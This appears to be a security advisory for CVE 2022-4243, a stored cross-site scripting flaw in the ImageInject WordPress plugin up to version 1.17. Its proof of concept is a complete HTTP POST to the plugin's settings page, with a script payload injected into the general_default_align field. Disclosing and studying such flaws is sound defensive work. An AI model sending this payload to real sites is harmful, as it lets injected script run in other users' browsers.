ImageInject <= 1.17 – Admin+ Stored XSS | CVE 2022-4243

Description

The plugin does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).

Proof of Concept

POST /wp-admin/options-general.php?page=wpdf-options HTTP/1.1
Referer: http://example.com/wp-admin/options-general.php?page=wpdf-options
Cookie: [admin+]
Connection: close

_wpnonce=<nonce key>&flickr_enabled=1&flickr_license=4%2C5%2C6%2C7&flickr_sort=relevance&pixabay_enabled=1&pixabay_image_type=all&general_save_images=1&general_feat_img_size=medium&general_default_align=none&general_attr_location=caption&general_items_per_req=40&advanced_img_template=%3Cimg+title%3D%22%7Btitle%7D+by+%7Bauthor%7D%22+alt%3D%22%7Bkeyword%7D+photo%22+src%3D%22%7Bsrc%7D%22+%2F%3E&advanced_attr_template=%3Csmall%3EPhoto+by+%3Ca+href%3D%22%7Blink%7D%22+target%3D%22_blank%22%3E%7Bauthor%7D%3C%2Fa%3E+%7Bcc_icon%7D%3C%2Fsmall%3E&advanced_attr_template_multi=%3Csmall%3EPhotos+by+%7Blinklist%7D%3C%2Fsmall%3E&advanced_filename_template=%7Bfilename%7D_%7Bkeyword%7D&save_options=Save+All+Settings&general_default_align=</script><script>alert(/xss/)</script>